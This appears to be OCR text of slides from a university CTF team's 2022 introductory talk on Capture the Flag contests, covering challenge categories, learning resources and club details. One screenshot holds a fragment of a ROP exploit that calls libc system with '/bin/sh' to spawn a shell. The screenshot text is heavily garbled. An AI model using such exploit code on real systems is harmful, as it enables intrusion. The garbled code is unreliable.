



Capture the Flag

Acquiring practical security knowledge through enjoyable hacking challenges (Based on slides by Samuel Groß) Liam Wachter | 28. April 2022



kitctf.de



What are CTFs?

- Online or in-person contests
- Applied IT Security
- Team oriented

During CTFs, people...

- are hacking (in the positive sense of the word)
- do vulnerability discovery + exploit writing
- get in contact with all kinds of technology
- in general do computer science
- learn



What are CTFs NOT?

- Using existing exploits
- Illegal
- Step-by-step learning
- (Very beginner friendly)





How does it work?

- Teams register on a website
- Contest starts
- Challenges accessible through website
- Flags are obtained by solving a challenge, e.g. EK0{1337_x86_64_xplo1t}
- Can be submitted on the website to get points
- The harder the challenge the more points it is worth
 - Well...
 - Timeframe per challenge: between a few minutes and > 8 hours
- Afterwards participants publish write-ups explaining their solutions
 - https://kitctf.de/writeups/
 - Great way to learn!



Who plays CTFs

- Plaid Parliament of Pwning (PPP)
 - Students and Alumni from CMU
- FluxFingers
 - Students and Alumni from RUB
- Samurai
 - International, big team
 - Many Google (security) engineers
- Sauercloud
 - German team of teams
 - Participating in DEFCON and DEFCON-Qualifiers





Who organizes CTFs?

- Other CTF teams
 - PlaidCTF and PicoCTF \rightarrow PPP
 - hack.lu → Fluxfingers
 - ALLES! CTF \rightarrow ALLES!
- Companies
 - Google Capture The Flag
 - Real World CTF
- Usually online. Sometimes on-site, e.g., at conferences
- "World-Championship": DEFCON CTF
- Central hub: https://ctftime.org



ctftime.org: CTFs every weekend

| TFDTIME | | | | | Ξ | CTF D | ITIME | | | | | | | | | |
|---|--|------------|-------------------|--------------|-------------------------------|--------------|------------------------|-----------|---------|------------------|----------|------|------|------|----------------|----------|
| Home / CTFs / Events / | Upcoming | | | | | Home / T | eams / Germ | any | | | | | | | | |
| CTF Events | | | | | | Теа | ns | | | | | | | | | |
| All Upcoming / | Archive Format - | Location - | Restrictions | 2022 - | 重ッ | 2021 | 2020 2 | 019 2018 | 2017 | 2016 | 2015 | 2014 | 2013 | 2012 | 2011 | ermany - |
| Name | Date | Format | Location | Weight Notes | | | | | | | | | | | | |
| NahamCon CTF 2022 | 28 April, 19:00 UTC — 30 April 2022, 19:00 UTC | Jeopardy | On-line | 24.61 | 213 teams will participate | | | | Sh | ow team p | rofile | | | | | |
| PatriotCTF | 29 April, 21:00 UTC — 30 April 2022, 21:00 UTC | Jeopardy | On-line | 0.00 | 59 teams will participate | | rmany wide position | Country p | osition | Name | | | | | Point | s Events |
| Digital Overdose Conference 2022 CTF | 29 April, 22:00 UTC — 01 May 2022, 21:59 UTC | Jeopardy | On-line | 24.45 | 40 teams will participate | 39 81 | | ₩1 2 | | upbhac Sauero | | | | | 149.0 93.88 | |
| ångstromCTF 2022 | 30 April, 00:00 | Jeopardy | On-line | 64.52 | 78 teams will | 100 | | 3 | | кітсті | | | | | 85.46 | |
| | UTC — 04 May 2022, 23:59 UTC | | | | participate | 114 | | 4 | | PwnPr | phecy | | | | 80.88 | 3 23 |
| RPCA CTF 2022 | 30 April, 08:00 UTC — 02 May | Jeopardy | RPCA, Thailand | 0.00 | 18 teams will participate | 118 | | 5 | | Ov3rH4 | ick | | | | 78.65 | 30 |
| | 2022, 16:00 UTC | | Thesterio | | participate | 125 | | 6 | | CyberT | askForce | Zero | | | 74.05 | 3 5 |
| San Diego CTF 2022 | 07 May, 00:00 UTC — 09 May | Jeopardy | On-line | 24.39 | 46 teams will participate | 199 | | 7 | | saarse | ; | | | | 49.86 | 1 |
| | 2022, 00:00 UTC | | | | P | 203 | | 8 | | BugsBi | innies | | | | 49.26 | 3 11 |
| m0leCon CTF 2022 Teaser | 13 May, 17:00 UTC — 14 May | Jeopardy | On-line | 36.00 | 7 teams will participate | 294 | | 9 | | Hackla | | | | | 37.41 | |
| | 2022 17-00 LITC | | | | | 310 | | 10 | | ENOFL | AG | | | | 35.83 | 2 |



- Binary/Kernel Exploitation
- Reverse Engineering
- Cryptography
- Web Hacking
- miscellaneous, e.g.,
 - Machine Learning
 - Cryptocurrency
 - Forensics
 - Sandboxing
 - Game Hacking





- Binary/Kernel Exploitation
- Reverse Engineering
- Cryptography
- Web Hacking
- miscellaneous, e.g.,
 - Machine Learning
 - Cryptocurrency
 - Forensics
 - Sandboxing
 - Game Hacking

| 31 | |
|--|---|
| 32 | |
| | <pre>ing = b'A' * (5 * 8) # padding to return address</pre> |
| 34 | |
| 35 | |
| | leak_address_chain(): |
| 37 | chain = padding |
| 38 | chain += p64(0x8401443) # pop <u>rdi</u> |
| 39 40 | chain += p64(0x601fd8) |
| 40 41 | chain += p64(0x0400/80) # puts plt chain += p64(0x0400/80) # get descr |
| 41 42 | chain += po4(0x0401020) # get_gescr return chain |
| 42 43 | return chain |
| 45 44 | |
| | <pre>spawn shell chain(libc base: int):</pre> |
| 45 uei 46 | system offset = 0x04f550 |
| 40 | chain = padding |
| 48 | chain += p64(0x6401443) # pop rdi |
| 49 | chain += p64(next(libc.search(b"/bin/sh")) + libc base)# /bin/sh string address |
| 50 | chain += p64(0x0400756) |
| 51 | chain += p64(libc base + system offset) # libc system |
| 52 | return chain |
| 53 | |
| 54 | |
| | get_libc_base(scanf_addr: bytes): |
| 56 | <pre>scanf_int = unpack(scanf_addr, len(scanf_addr) * 8, endian='little', sign=False)</pre> |
| 57 | return scanf_int - 0x07bfa0 |
| | [+] 33,21 6 |
| REI | |
| | k: Canary found |
| NX: | NX enabled |
| PIE | |
| | me/nine/Documents/privProg/ctfs/htb-advent-21/nauty list/ld-2.27.so' |
| Arc | |
| REL | |
| | k: No canary found |
| Sta | NX enabled |
| Sta NX: | PIE enabled |
| | |
| NX: PIE | ting local process '/bin/gdbserver': pid 27341 |
| NX: PIE +] Sta *] rur | ing in new terminal: ['/bin/gdb', '-g', '/home/nine/Documents/privProg/ctfs/htb-adve |
| NX: PIE +] Sta *] rur 21/nau | <pre>ing in new terminal: ['/bin/gdb', '-q', '/home/nine/Documents/privProg/ctfs/htb-adve y_list/naughty_list_patched', '-x', '/tmp/pwnspjlmlqq.gdb']</pre> |
| NX: PIE +] Sta *] rur 21/nau *] Swi | ing in new terminal: ['/bin/gdb', '-g', '/home/nine/Documents/privProg/ctfs/htb-adve |



- Binary/Kernel Exploitation
- Reverse Engineering
- Cryptography
- Web Hacking
- miscellaneous, e.g.,
 - Machine Learning
 - Cryptocurrency
 - Forensics
 - Sandboxing
 - Game Hacking

| | | | | | | racecar:/exploit – O |
|---------|----------------------------------|---------------------|-------------------|--------|-------|---|
| | analysis Debugger G | | | | | |
| | | | | | | 월 6 여 🗸 🏽 월 8 월 6 9 쇼 0 🛛 🔶 1 3 승 1 원 |
| Listing | | | M # 34 | | > | 🗙 📴 Decompile: entry - (exploit) 🤹 🗋 🛃 🏙 💌 |
| | 0804802c 01 00 0804802e 00 00 | dv dv | 2h 0h | | 4 | 1 2 void entry(void) |
| | 08048030 00 00 | dv dv | 0h | | | 2 void entry(void) |
| | 08048030 00 00 | dv. | an Ab | | | 4.6 |
| | 05046032 00 00 | 0.4 | on | | | 5 code *pcVar1; |
| | | EL132 Phdr ARV | × | | | 6 int iVar2: |
| 141 | 00040034 01 00 00 | Elf32 Ph | | | | 7 byte local_f [15]: |
| | 00 00 00 | and shared them | | | | s state to the total of the state |
| | 00 00 00 . | | | | | 9 iver2 = 0: |
| | | *********** | | | ••• | 10 do f |
| | | | | | | b1 local f[iVar2] = *(byte *)(iVar2 + 0x8048089) ^ 0x |
| | | * FUNCTION | | | | 12 iVar2 = iVar2 + 1 |
| | | *********** | | | ••• | 13 } while (ivar2 < 0xf); |
| | | undefined entry | | | | 14 pcWarl = (code *)svi(0x80); |
| | undefined | AL11 | <return></return> | | - 61 | 15 (*pcVar1)(); |
| | undefined1 | Stack[-Oxf]: | 1 local_f | | | <pre>16 pcVar1 = (code *)svi(0x00);</pre> |
| | | entry | | | | 17 (*pcvarl)(): |
| | 00048054 83 ec 0f | SUB | ESP. 0xf | | ~ | 18 return: |
| | 00040057 31 c9 | XOR | ECX, ECK | | | 19 3 |
| | | LAB 08048059 | | | | 20 |
| | 08048059 81 81 89 | LAB_08048059 MOV | A. byte ptr | tees . | | |
| | 80 04 08 | 604 | Solute but | LOLA T | 100 | |
| | 00040051 34 80 | XOB | AL. 0190 | | | |
| | 00040001 88 04 0: | MOV | byte ptr [ES | e + er | no. | |
| | 08048064 41 | INC | BCX | | | |
| | 00040065 83 19 01 | OVP | ECX. 0x1 | | | |
| | 00040068 7c ef | 3. | LAB 00048059 | | | |
| | 0804806a b8 04 00 | Max | FAX. Ox4 | | | |
| | 00 00 | | | | | |
| | 0004006f bb 01 00 | MOV | EBX, 0x1 | | - 11 | |
| | 00 00 | | | | | |
| | 08048074 89 el | MOV | ECX, ESP | | | |
| | 08048076 ba 8f 80 | MOV | EDX, Oxf | | | |
| | 00 00 | | | | | |
| | 08048075 cd 80 | INT | 0x80 | | | |
| | 0804807d b8 01 00 | MOV | EAX, 0x1 | | | |
| | 00 00 | | | | | |
| | 00040062 bb 00 00 | MOV | EBX, 0x0 | | | |
| | 00000 | INT | 0(80 | | | |
| | | and | 0.00 | | | |
| | | LAR DROARDR9 | | | | |
| | 09049092 (3 | RET | | | | |
| | | 1.1 | | | | |
| | | DAT_0904908s | | | | |
| | 0804808a ef | undefinedl | | | | |
| | 0004806b ed | 22 | EDh | | | |
| | 00040000: 65 | 27 | ESh | | | |
| | 08048084 約 | 77 | Ach | | - 10 | |
| | 0804808x 14 | 22 | E4h | | - 11 | |
| | 0004008f ef | 27 | EFh | | 2 | |
| | 08048090 20 | 27 | Ach | | - 61 | |
| | 08048091 c7 08048092 00 | 27 | C7h D0h | | | |
| | 09048092 00 | 22 | CEh | | ÷. | |
| - | | 1 | | | 7 m 👘 | - |
| | | | | | | |



- Binary/Kernel Exploitation
- Reverse Engineering
- Cryptography
- Web Hacking
- miscellaneous, e.g.,
 - Machine Learning
 - Cryptocurrency
 - Forensics
 - Sandboxing
 - Game Hacking

| • • | ~/D/o/c/D/cup-of-tea Q = _ u × |
|--|--|
| | |
| 25 before = msg[i] 26 print(hex(before)) | |
| 27 print(i) | |
| 28 return msg | |
| 29 | |
| 30 def decrypt(msq, bs, key): | |
| 31 reps = (0x34 // bs) + 6 | |
| 32 rand = θ | |
| <pre>33 for r in range(reps)[::-1]:</pre> | |
| 34 rand = ((r+1)*0x9e3779b9) | & 0xfffffffffffffff |
| <pre>35 # print(rand)</pre> | |
| 36 k = (rand >> 2) & 3 | |
| 37 before = msg[bs-2] | |
| 38 i = bs-1 | |
| <pre>39 next = msg[0]</pre> | |
| 40 print(i) | |
| 41 print(hex(msg[i])) 42 # print(hex(before)) | |
| | <pre>k] ^ before) + (rand ^ next) ^ (before >> 5 ^ next << 2)</pre> |
| + (before << 4 ^ next >> 3)))) | k) before) + (rand next) (before >> 5 next << 2) |
| | $^{\circ}$ before) + (rand $^{\circ}$ next) $^{\circ}$ (before $>> 5 ^{\circ}$ next $<< 2$) + |
| (before << 4 ^ next >> 3)) | before) + (rand next) (before >>) next << 2) + |
| 45 msq[i] δ= θxfffffffffffffff | ff |
| <pre>46 before = msg[i]</pre> | |
| <pre>47 print(hex(before))</pre> | |
| 48 for i in range(bs-2, 0, -1 |): |
| <pre>49 before = msg[i-1]</pre> | |
| 50 next = msg[i+1] | |
| 51 print(i) | |
| <pre>52 print(hex(msg[i]))</pre> | |
| | ^ k] ^ before) + (rand ^ next) ^ (before >> 5 ^ next << - |
| 2) + (before << 4 ^ next >> 3)) | |
| 54 msg[i] &= 0xfffffffff | ***** |
| 55 before = msg[i] | 25.4 |
| encrypt.py 0x465f546f4e5f5331 | 25,1 35% |
| 0 | |
| 0 0xc349db9738975130 | |
| 0x5f33737245763352 | |
| | x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 |
| | 0/x00/x00/x00/x00/x00/x00/x00/x00/x00/x |
| 0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x | |
| -/D/p/c/D/cup-of-tea | |
| term://~/Documents/privProg/ctfs/DefCa | mp/cup-of-tea//31778:/usr/bin/fish 1018,23 Bot |
| TERMINAL | |
| | |



- Binary/Kernel Exploitation
- Reverse Engineering
- Cryptography
- Web Hacking
- miscellaneous, e.g.,
 - Machine Learning
 - Cryptocurrency
 - Forensics
 - Sandboxing
 - Game Hacking

| Burp Suite Professional v2022.2.4 - Temporary Project - licer | sed to trial user [single user license] | - | n × |
|--|---|-------|---------|
| Burp Project Intruder Repeater Window Help | | | |
| Sequencer Decoder Comparer Logger Extender | Project options User options | | Learn |
| Dashboard Target Proxy | Intruder Rep | eater | |
| Intercept HTTP history WebSockets history Options | | | |
| Request to http://127.0.0.1:5000 | | | ~ |
| | Brow Comment this item | HTT | P/1 (?) |
| Pretty Raw Hex = Vn = 1 GET /upload.html? HTTP/1.1 | Inspector 🔳 🗉 | ÷ | Θ× |
| 1 Gel /upicod.ntml/ HTP/1.1 2 Host: 127.8.6.1:5008 3 sec-ch-ue: "(Not(A:Brand";v="8", "Chromium";v="99" | Request Attributes | G | 2 ~ |
| 4 sec-ch-ua-mobila: 20 5 sec-ch-ua-platform: "Linux" | Request Query Parameters | | 0 v |
| 6 Upgrade-Insecure-Requests: 1 7 User-Agent: Mozilla/5.8 (Windows NT 10.0; Win64; x64) | Request Body Parameters | | 0 ~ |
| AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safar1/537.36 8 Accept: | Request Cookies | 0 | 1 ~ |
| <pre>staccapt: text/html,application/xhtml+xml,application/xml;q=0.9,image /avif_image/webp_image/apmg_*/*;g=0.8,application/signed-ex</pre> | Request Headers | 16 | 6 V |
| change;v=b3;q=0.9 | | | |
| 9 Sec-Fetch-Site: same-origin 10 Sec-Fetch-Mode: navigate | | | |
| 11 Sec-Fetch-User: ?1 12 Sec-Fetch-Dest: document | | | |
| 13 Referer: http://127.0.0.1:5000/ | | | |
| 14 Accept-Encoding: gzip, deflate 15 Accept-Language: en-US,en;q=8.9 | | | |
| 16 Cookie: session- | | | |
| .eJwEwcERgOAIBMBeqCAwXADffiwOSNKEY - uvvTcdFHGGYKh5d0IGEullz T1140v1S2d04F_HMvvEvNafpliri29D8v4F_4_Yeebox_skbilHiOskiTEv | | | |
|) Enterpize File Sharing × + | | | |
| ← → × ① 127.0.0.1:5000 | | | |
| | | | |
| Enterpize File Sha | aring | | |
| | | | |
| | | | |
| Your files! | | | |
| Here are your uploaded files. Share the | m with the world! | | |
| | | | |
| Upload New Data | | | |
| | | | |



- Binary/Kernel Exploitation
- Reverse Engineering
- Cryptography
- Web Hacking
- miscellaneous, e.g.,
 - Machine Learning
 - Cryptocurrency
 - Forensics
 - Sandboxing
 - Game Hacking

| R. | | ~/D/p/c/b/r/A/si | ilve | Q E | - 0 × |
|--|---|-----------------------|-----------|--------|-------|
| 12 | <pre>x = torch.zeros(input_sha</pre> | pe, requires_grad=T | rue) | | |
| 13 | <pre>min loss = float("inf")</pre> | | | | |
| 15 | best img = None | | | | |
| 16 | | | | | |
| 17 | <pre>for i in range(num_itr):</pre> | | | | |
| 18 | x = x.detach() | | | | |
| 20 | <pre>x.requires_grad = Tru pred = target model(x</pre> | | | | |
| 21 | loss = ((target_mbdet() | | an() | | |
| 22 | loss.backward() | | | | |
| 23 | grad = x.grad | | | | |
| 24 25 | x = x.mul(255).div(25 | 5) | | | |
| 25 | <pre>if loss.item() < min</pre> | loss | | | |
| 27 | best img = x | 1055. | | | |
| 28 | | | | | |
| 29 | with torch.no_grad(): | | | | |
| 30 | x -= step_size * | grad | | | |
| 31 32 | <pre>x = torch.clip(x, print(f"epoch {i}; {)</pre> | min=0.1, max=0.90) | | | |
| 33 | return best ing | USS.Item()}) | | | |
| | | | | | |
| 34 | return best_ing | | | | |
| 34 35 | _ * | | | | |
| 34 35 36 d | ef tensor_to_base64img(inv_t | ensor): | | | |
| 34 35 36 d | ef tensor_to_base64img(inv_t | ensor): | | 13,0-1 | 25% |
| 34 35 36 d solve epoch | ef tensor_to_base64img(inv_t py 41: 0.000619305414147675 | | ienut one | 13,6-1 | |
| 34 35 36 d solve epoch epoch | ef tensor_to_base64img(inv_t | ensor): Q 163% ~ Q | input.png | 13,0-1 | |
| 34 35 36 d solve epoch epoch epoch | ef tensor to base64img(inv_t py 41: 0.000619305414147675 42: 0.0006324286223389208 | | input.png | 13,0-1 | |
| 34 35 36 d solve epoch epoch epoch epoch epoch | ef tensor to base64img(inv t py 41: 0.000619305414147675 42: 0.0006324280527830508 43: 0.000596492440059781 44: 0.000596492440059781 45: 0.0005843292456128253 | | Input.png | 13,0-1 | |
| 34 35 36 d solve epoch epoch epoch epoch epoch epoch | tensor to base64img(inv t PY 41: 0.000619305414147675 42: 0.0006324286223389280 33: 0.0006409602780807923 44: 0.0005963492440059781 45: 0.0005543292456120233 45: 0.000551292424430612787 | | input.png | 13,0-1 | |
| 34 35 36 d solve epoch epoch epoch epoch epoch epoch epoch | tensor to base64ing(inv t 12) 41: 0.000619305414147675 42: 0.00063090278057923 43: 0.00064090278057923 44: 0.0005953492440659781 45: 0.000553492440659781 45: 0.0005512942443601787 77: 0.000554746064702992 | | input.png | 13,0-1 | |
| 34 35 36 d solve epoch epoch epoch epoch epoch epoch epoch epoch | tensor to base641mg(inv t PY 41: 0.00061305414147675 42: 0.0006342426522389208 43: 0.0005495092788057923 44: 0.000554349244055781 45: 0.000554349244055781 45: 0.0005549244456126523 45: 0.000554924445612653 45: 0.0005569154 | | Input.png | 13,8-1 | |
| 34 35 36 d solve epoch epoch epoch epoch epoch epoch epoch epoch | tensor to base64ing(inv t 12) 41: 0.000619305414147675 42: 0.00063090278057923 43: 0.00064090278057923 44: 0.0005953492440659781 45: 0.000553492440659781 45: 0.0005512942443601787 77: 0.000554746064702992 | | Input-png | 13,0-1 | |
| 34 35 36 d solve epoch epoch epoch epoch epoch epoch epoch epoch epoch | ef tensor to base64Jmg(inv t 477 41: 0.000619305414147675 42: 0.000619305414147675 43: 0.00061592748057923 44: 0.0006519324406357923 44: 0.0005512942443001787 45: 0.000551247445470259 45: 0.000551247465470259 45: 0.000551247653330689714 50: 0.00055737947979318 51: 0.000558735090983174 | | Input.png | 13,8-1 | |
| 34 35 36 d solve epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch | Interpretation Interpretation | | Input.png | 13,0-1 | |
| 34 35 36 d solve epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch | ef tensor to base64Jmg(inv t 41: 0.0006139305414147675 42: 0.0006139205414147675 42: 0.00061592428027389280 43: 0.0005542802428057923 44: 0.0005543792448057923 44: 0.0005543792448057923 44: 0.0005124706454703929 44: 0.0000512470645470392 45: 0.000053737064797318 51: 0.0005573750690831744 52: 0.00065973750690831744 52: 0.00065973754139605158 53: 0.000757875136906159 | | | 13,0-1 | |
| 34 35 36 d solve epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch | ef tensor to base64109100 to 10 000013095131417375 41 0.000013095131417375 41 0.00001320827318308 41 0.000053120827318308 41 0.000551294244500177 42 0.0005514942451203 42 0.0005514942451203 42 0.00055149424851236 52 0.000551494248851236 52 0.000055473134897138 52 0.000055473148851236 52 0.000055473148851236 53 0.000055473148851236 53 0.00005548436451346851236 53 0.0000554843645134651256 53 0.0000554843645134651256 53 0.0000554843645134651256 53 0.0000554843645134651256 53 0.000055484514468451256 53 0.00005548451448651256 53 0.00005548451448651256 53 0.00005548544546451256 53 0.0000554845144561356 53 0.0000554845146451556 53 0.0000554845146451556 53 0.0000554845146451556 53 0.0000554845146451556 53 0.00005548451464515586 53 0.00005548451464515586 53 0.00005548451464515586 53 0.00005548451464515586 53 0.00005548451464515586 53 0.000055485451464515586 53 0.000055485451464515586 53 0.0000554851546451586 53 0.0000554851546451586 53 0.0000554851546451586 53 0.0000554851546451586 53 0.0000554854546451586 53 0.0000554854546451586 53 0.0000554854546451586 53 0.000055485454645455586 54 0.000055485454645455586 55 0.0000554855586 55 0.000055485454645455586 55 0.000055485454645455586 | | | 13,6-1 | |
| 34 35 36 d epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch | af tensor to base641mg(1w) to 10 10 10 10 10 10 10 10 10 10 10 10 10 1 | | Input-png | 13,0-1 | |
| 34 35 36 d solve epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch | ef tensor to base64109100 t 10 000013095131417375 41 0.000013095131417375 41 0.00001320827318308 41 0.000053120827318308 41 0.000551294244500177 42 0.0005514942451203 42 0.0005514942451203 42 0.0005514942451236 52 0.000551494244500175 52 0.000055474486372595 52 0.0000575473148973316 52 0.00055474486512586 53 0.0009756473149601586 | | Input-png | 13,0-1 | |
| 34 35 36 d solve epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch | $\begin{array}{c} f = tensor + 0.5 ass641 ang (1av, th) \\ \hline D1 : 0.00001394541414707 \\ 42 : 0.00001394541414707 \\ 42 : 0.000013242602213302280 \\ 41 : 0.00001324200005343244001707 \\ 41 : 0.00005343244001707 \\ 41 : 0.00005343244001707 \\ 41 : 0.00005343244001707 \\ 42 : 0.0000534244001707 \\ 42 : 0.0000534244001707 \\ 42 : 0.0000534244001707 \\ 51 : 0.000053777347073100 \\ 51 : 0.000053777347073100 \\ 51 : 0.000053777347073100 \\ 51 : 0.000053777347073100 \\ 51 : 0.000053777347073100 \\ 51 : 0.000053777347073100 \\ 51 : 0.0000537754200 \\ 51 : 0.0000537754200 \\ 51 : 0.00005370754200 \\ 51 : 0.00005370754200 \\ 51 : 0.00005370754200 \\ 51 : 0.00005370754200 \\ 51 : 0.00005370754200 \\ 51 : 0.00005370754200 \\ 51 : 0.00005370754200 \\ 51 : 0.00005370754200 \\ 51 : 0.00005370754200 \\ 51 : 0.0005370554200 \\ 51 : 0.0005370554200 \\ 51 : 0.0005370554200 \\ 51 : 0.0005370554200 \\ 51 : 0.0005370554200 \\ 51 : 0.0005370554200 \\ 51 : 0.0005370554200 \\ 51 : 0.0005370554200 \\ 51 : 0.0005370554200 \\ 51 : 0.0005370554200 \\ 51 : 0.0005370554200 \\ 51 : 0.0005370554200 \\ 51 : 0.0005370554200 \\ 51 : 0.000537054200 \\ 51 : 0.000537054200 \\ 51 : 0.000537054200 \\ 51 : 0.000537054200 \\ 51 : 0.000537054200 \\ 51 : 0.000537054200 \\ 51 : 0.000537054200 \\ 51 : 0.000537054200 \\ 51 : 0.000537054200 \\ 51 : 0.000537054200 \\ 51 : 0.000537054200 \\ 51 : 0.000537054200 \\ 51 : 0.000537054200 \\ 51 : 0.000537054200 \\ 51 : 0.0005370542000 \\ 51 : 0.0005370542000 \\ 51 : 0.0005370542000 \\ 51 : 0.0005370542000 \\ 51 : 0.0005370540000 \\ 51 : 0.0005370540000 \\ 51 : 0.0005370540000 \\ 51 : 0.0005370000000 \\ 51 : 0.000537000000 \\ 51 : 0.0005700$ | Q 163% ~ Q | | 13,0-1 | |
| 34 35 36 d solve epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch epoch | f tensor to lose641mg(inv, to 97 10 0.000013936541417675 42 0.000013936541417675 42 0.000013936541417675 42 0.00005342602313900 40 0.0005342240017971 40 0.0005342240017971 40 0.0005342244001797 40 0.0005342344001797 40 0.0005342344001797 40 0.0005342333358974 40 0.000534333358974 40 0.000534324001797 51 0.00055747314900100 51 0.00055673146040597 51 0.00055945241541975 51 0.00055945241541957 51 0.00055945241541957 51 0.00055945241541975 51 0.0005594554195475 51 0.000559455475475 51 0.000559455475475475 51 0.000559455475475475 51 0.000559455475475475 51 0.000559455475475475 51 0.000559455475475475 51 0.000559455475475475 51 0.000559555455475475475475 51 0.0005595554554754754755 51 0.0005595554554754754755 51 0.00055955554554754754755 51 0.0005595555555555555555555555555555555 | Q 163% ~ Q | Input.png | 13,0-1 | |



What you will learn on the side?

- Deep knowledge of operating system internals
- Good intuition for: "There is something wrong"
- Familiarity with various programming languages and frameworks
- Various useful tools
 - debuggers, (dis)assemblers, (de)compilers, networking tools, sandboxes, ...
- Crypto libraries
- Stuff you (maybe) didn't know even existed!
 - SMT solvers, weird protocols, various modern exploit mitigations, interesting mathematics



Requirements?

None*



Requirements?

*

- basic computer and programming knowledge
- a laptop is useful

motivation and some spare time

How to learn (non-exhaustive list)



- Playing CTFs
 - There are easier and harder CTFs: PicoCTF, CSCG, ...
 - Most CTFs have at least some easier challenges
 - try and read writeups
- Free courses with challenges
 - OverTheWire
 - pwn.college
 - ProtSwigger Web Security Academy
 - Open Security Training 2
- Videos
 - LiveOverflow, GynvaelEN, John Hammond
 - stacksmashing, gamozolabs, OALabs
 - IppSec, PinkDraconian, PwnFunction
 - Day0-Podcast

- Reading stuff
 - Magazines
 - phrack
 - pagedout
 - Blogs
 - r/netsec
 - Books
 - The Art of Software Security Assessment
 - Hacking: The Art of Exploitation
- Conferences
- KIT Courses :)



About us

- Started around June 2014
- Currently playing with 3-6 players per CTF
- Communication over Slack
- Weekly in-person meetings: Thursdays Room 252
- Intro talks on first four meetings
- Workshops from industry professionals and researches T.B.A.

Introduce yourself at team@kitctf.de